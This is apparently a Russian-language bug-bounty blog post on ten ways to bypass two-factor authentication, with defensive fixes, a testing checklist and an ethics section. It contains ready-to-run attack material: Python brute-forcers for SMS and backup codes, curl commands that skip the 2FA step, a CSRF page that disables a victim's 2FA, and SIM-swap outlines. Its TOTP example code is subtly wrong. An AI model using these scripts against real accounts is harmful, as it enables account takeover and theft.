🎭 Как я притворился легитимным пользователем и обошёл 2FA

Привет, хакеры! 🔐 Сегодня разберём самую интересную тему — обход двухфакторной аутентификации. Все думают, что 2FA = неприступная крепость, но это не так.

🎯 Техника #1: Race Condition в SMS коде

Как работает нормально:

1. Пользователь вводит логин/пароль
2. Система отправляет SMS с кодом (123456)
3. Код действителен 5 минут
4. После ввода кода → доступ

Уязвимость: параллельная проверка кода

# Мой скрипт для брутфорса через race condition
import requests
from concurrent.futures import ThreadPoolExecutor
def try_code(code):
session = requests.Session()

# Логин
session.post('https://target.com/login',
data={'username': 'victim@mail.ru', 'password': 'known_pass'})

# Пробуем код
r = session.post('https://target.com/verify-2fa',
data={'code': code})

if 'success' in r.text or r.status_code == 302:
print(f"[+] FOUND CODE: {code}")
return True
return False
# 6-значный код = 1,000,000 вариантов
# Но! Если нет rate limiting + race condition:
codes = [str(i).zfill(6) for i in range(1000000)]
# 100 параллельных запросов
with ThreadPoolExecutor(max_workers=100) as executor:
results = executor.map(try_code, codes)

# Находим за 2-3 минуты вместо часов!

Почему работает:

• Сервер не блокирует после N попыток

• Параллельные запросы обходят счётчик попыток

• Code остаётся валидным всё время брутфорса

🎯 Техника #2: Response Manipulation (клиент решает)

Уязвимый flow:

// Frontend код (JavaScript)
function verify2FA() {
const code = document.getElementById('2fa-code').value;

fetch('/api/verify', {
method: 'POST',
body: JSON.stringify({code: code})
})
.then(response => response.json())
.then(data => {
if (data.valid === true) {
window.location = '/dashboard'; // ТУТ ОШИБКА!
} else {
alert('Wrong code');
}
});
}

Атака через Burp Suite:

POST /api/verify HTTP/1.1
Host: target.com
Content-Type: application/json
{"code": "000000"}
Response:
HTTP/1.1 200 OK
{"valid": false, "message": "Invalid code"}
=== МЕНЯЕМ ОТВЕТ В BURP ===
Response (Modified):
HTTP/1.1 200 OK
{"valid": true, "message": "Success"} ← Подменили!
→ Frontend видит valid: true
→ Редирект на /dashboard
→ Обошли 2FA! 🎉

🎯 Техника #3: Direct Request (пропуск шага)

Нормальный flow:

1. POST /login → Set-Cookie: session_id=abc123
2. GET /verify-2fa → Форма ввода кода
3. POST /verify-2fa → Проверка кода
4. GET /dashboard → Если код верный

Уязвимость: можно пропустить шаг 2-3

# Логинимся
curl -c cookies.txt -X POST https://target.com/login \
-d "username=victim&password=pass123"
# Пропускаем 2FA и сразу идём на dashboard
curl -b cookies.txt https://target.com/dashboard
# Если видим контент → 2FA обошли!

Почему работает:

• Session создаётся после логина (шаг 1)

• 2FA проверка НЕ записывается в session

• Dashboard проверяет только наличие session, не факт прохождения 2FA

Правильно:

# В session должен быть флаг
session['2fa_verified'] = False
# После успешной 2FA
session['2fa_verified'] = True
# Каждый protected endpoint:
if not session.get('2fa_verified'):
return redirect('/verify-2fa')

🎯 Техника #4: Backup Codes Brute-force

Как работают backup codes:

• При настройке 2FA даются 10 одноразовых кодов

• Формат обычно: `XXXX-XXXX` (8 символов)

• Используются если потерял телефон

Уязвимость: короткие коды + нет rate limiting

# Брутфорс backup кодов
import string
import itertools
def generate_codes():
# Формат: 4 цифры - 4 цифры
for combo in itertools.product(string.digits, repeat=8):
code = ''.join(combo)
formatted = f"{code[:4]}-{code[4:]}"
yield formatted
# Пробуем
for code in generate_codes():
r = requests.post('https://target.com/verify-backup',
data={'backup_code': code},
cookies=cookies)

if 'success' in r.text:
print(f"[+] FOUND: {code}")
break

# Если нет rate limiting → пробуем все 100,000,000 комбинаций

Оптимизация:

• Backup коды часто генерируются предсказуемо

• Словари common patterns

• Leaked databases с кодами

🎯 Техника #5: CSRF на disable 2FA

Flow отключения 2FA:

1. Пользователь на странице /settings/security
2. Кликает "Disable 2FA"
3. Вводит текущий пароль
4. 2FA отключается

Уязвимость: нет CSRF token + нет 2FA при отключении (!)

<!-- Злонамеренная страница attacker.com -->
<html>
<body>
<form id="evil" action="https://target.com/disable-2fa" method="POST">
<input type="hidden" name="confirm" value="yes">
<input type="hidden" name="password" value=""> <!-- Если не требуется! -->
</form>
<script>
document.getElementById('evil').submit();
</script>
</body>
</html>

Сценарий атаки:

1. Жертва залогинена в target.com (есть session cookie)

2. Переходит на attacker.com (фишинг/XSS)

3. Автоматически отправляется форма

4. 2FA отключается БЕЗ подтверждения кодом!

5. Атакующий логинится → 2FA больше нет → profit

🎯 Техника #6: Session Fixation

Нормальный flow:

1. Пользователь открывает сайт → session_id=temp123
2. Логин успешен → session_id меняется на auth456
3. 2FA пройден → session остаётся auth456

Уязвимость: session НЕ меняется после 2FA

# Атакующий получает жертву на свой ссылку
https://target.com/?session_id=attacker_controlled_123
# Жертва логинится + проходит 2FA с этим session
# Атакующий использует тот же session:
curl -b "session_id=attacker_controlled_123" https://target.com/dashboard
# Access granted! Обошли 2FA через session fixation

Фикс:

# После КАЖДОГО security event:
session.regenerate_id() # Новый session ID

🎯 Техника #7: OAuth/SSO Bypass

Flow с “Login with Google”:

1. User clicks "Login with Google"
2. Redirects to google.com/oauth
3. User authorizes
4. Callback: /oauth/callback?code=xyz
5. Server exchanges code for user info
6. Login success (2FA пропускается!)

Уязвимость: OAuth считается trusted → 2FA не требуется

Атака:

1. Жертва использует email/password с 2FA

2. Атакующий знает email жертвы

3. Создаёт Google аккаунт с тем же email (если возможно)

4. “Login with Google” → 2FA не спрашивается

5. Access granted!

Или:

• Account linking: привязываешь свой Google к чужому аккаунту

• OAuth token stealing

• Redirect URI manipulation

🎯 Техника #8: Remember Me Token

Flow:

1. Login + 2FA → галочка "Remember this device"
2. Set-Cookie: remember_token=abc123 (expires: 30 days)
3. Следующий логин: есть remember_token → 2FA пропускается

Уязвимость: токен предсказуемый или кражабельный

# Генерация слабого токена
remember_token = md5(user_id + timestamp) # Плохо!
# Если знаешь user_id и примерное время → можешь подобрать
# Или:
# XSS → украл remember_token через document.cookie
# Используешь на своём браузере → 2FA обошли

🎯 Техника #9: SMS Intercept (SIM Swap)

Технический обход (для bug bounty: демонстрируешь возможность):

1. SIM Swap атака (социальная инженерия с оператором)
2. Номер жертвы переносится на SIM атакующего
3. SMS с 2FA кодом приходит атакующему
4. Profit

Или менее криминальный PoC:

# SS7 уязвимости (если есть доступ к SS7 сети)
# Перехват SMS через SS7 протокол
# Для bug bounty достаточно показать:
# "SMS 2FA vulnerable to SIM swap attack"
# + ссылки на research papers
# = High severity bounty

🎯 Техника #10: Timing Attack на TOTP

Как работает TOTP (Google Authenticator):

# Код генерируется на основе текущего времени
import hmac
import time
secret = "USER_SECRET_KEY"
current_time = int(time.time()) // 30 # 30-секундные окна
code = hmac.new(secret, current_time, 'sha1').digest()[:6]

Уязвимость: clock skew (разница во времени)

# Проверка на сервере (уязвимая):
def verify_totp(user_code):
current = generate_totp(time.time())
if user_code == current:
return True
return False
# Проблема: если время сервера/клиента не синхронизировано
# Код может не работать
# Правильно (обычно):
def verify_totp_secure(user_code):
current_time = int(time.time()) // 30

# Проверяем текущее окно + предыдущее + следующее
for offset in [-1, 0, 1]:
test_code = generate_totp((current_time + offset) * 30)
if user_code == test_code:
return True
return False

Атака:

• Если сервер принимает коды из прошлых окон

• Можно использовать старый код повторно (replay attack)

💡 Checklist для тестирования 2FA

Rate Limiting:

• Можно ли брутфорсить SMS/TOTP код?

• Есть ли ограничение на попытки?

• Блокируется ли аккаунт после N неудач?

Logic Bugs:

• Можно ли пропустить шаг 2FA (direct request)?

• Проверяется ли 2FA на каждом endpoint?

• Меняется ли session после 2FA?

Client-Side:

• Проверка 2FA только на клиенте?

• Можно ли подменить ответ сервера?

• JavaScript валидация?

Backup Codes:

• Достаточно ли сложные?

• Есть ли rate limiting?

• Одноразовые ли они?

Disable 2FA:

• Требуется ли 2FA для отключения 2FA?

• Есть ли CSRF защита?

• Нужен ли текущий пароль?

OAuth/SSO:

• Пропускается ли 2FA при OAuth логине?

• Account linking защищён?

Remember Me:

• Токены криптографически стойкие?

• HttpOnly + Secure cookies?

• Ротация токенов?

SMS:

• Только SMS или есть альтернативы?

• Защита от SIM swap?

• Device fingerprinting?

⚠️ Важно: Этика и легальность

Для bug bounty:

✅ Разрешено:

• Тестировать обход 2FA на своих тестовых аккаунтах

• Демонстрировать уязвимость БЕЗ реального взлома чужих аккаунтов

• Теоретические PoC (например, для SIM swap)

❌ ЗАПРЕЩЕНО:

• Взламывать чужие аккаунты

• SIM swap на реальных номерах

• Использовать баг для кражи данных

• Тестировать на аккаунтах других пользователей

Правильный PoC:

1. Создаю 2 своих тестовых аккаунта
2. Демонстрирую обход 2FA с Account A на Account B
3. Пишу detailed репорт с impact analysis
4. НЕ трогаю реальных пользователей

Моё золотое правило:

“Если для PoC нужно взломать чужой аккаунт — это НЕ PoC, это криминал.”

Мои выводы:

• 2FA НЕ панацея, это просто ещё один слой

• Логические баги чаще, чем криптографические

• High severity гарантирована (account takeover risk)

• Легче находить на новых стартапах, чем в банках

Удачной охоты на 2FA! 🎭🔓💰

#дневникхакера #2FAbypass #bugbounty #authenticationbypass #accounttakeover #2FA #websecurity #ethicalhacking #pentesting #bugbountytips #cybersecurity #infosec

P.S. Все техники — для легального bug bounty. Используй только на своих тестовых аккаунтах или с разрешением. Уголовка за взлом реальна! 🚔

P.P.S. Если компания говорит “У нас есть 2FA, мы защищены” — покажи им этот пост. 2FA != безопасность, это просто один из слоёв. 🛡️

83 views·2 shares